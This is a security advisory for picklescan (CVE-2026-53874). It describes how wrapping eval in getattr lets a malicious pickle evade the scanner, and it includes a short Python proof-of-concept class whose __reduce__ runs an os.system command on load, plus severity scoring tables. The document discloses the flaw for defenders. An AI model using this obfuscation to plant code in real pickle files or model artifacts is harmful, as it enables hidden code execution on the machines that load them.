Advisory details:
pypa / picklescan/PYSEC-2026-1789
| Advisory ID | pypa/picklescan/PYSEC-2026-1789 |
| Aliases |
CVE-2026-53874
GHSA-9m3x-qqw2-h32h PYSEC-2026-1789 |
| Summary | picklescan missing detection by simple obfuscation of a `builtins.eval` call ### Summary An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the host loading a pickle payload from an untrusted source. ### Details It's possible to hide the `eval` call nested under another callable via `getattr`. ### PoC ```python import builtins class EvilClass: @staticmethod def _obfuscated_eval(payload): getattr(builtins, "eval")(payload) def __reduce__(self): payload = "__import__('os').system('echo \"successful attack\"')" return self._obfuscated_eval, (payload,) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files from untrusted sources. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files to system that load serialized ML models, APIs, or saved Python objects from untrusted sources. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 8.0 |
| Risk | 4.0 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| There are no known CWE. |
| System | Score | Found at |
|---|---|---|
| cvssv4 | 8.9 | https://github.com/pypa/advisory-database/blob/main/vulns/picklescan/PYSEC-2026-1789.yaml |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Attack Requirements (AT) | Privileges Required (PR) | User Interaction (UI) | Vulnerable System Impact Confidentiality (VC) | Vulnerable System Impact Integrity (VI) | Vulnerable System Impact Availability (VA) | Subsequent System Impact Confidentiality (SC) | Subsequent System Impact Integrity (SI) | Subsequent System Impact Availability (SA) |
|---|---|---|---|---|---|---|---|---|---|---|
network adjacent local physical |
low high |
none present |
none low high |
none passive active |
high low none |
high low none |
high low none |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-06-23T01:59:41Z/
Decision: Track*
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/53xxx/CVE-2026-53874.json
Source Advisory: vulnrichment/CVE-2026-53874
[{'Exploitation': 'poc'},
{'Automatable': 'yes'},
{'Technical Impact': 'total'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]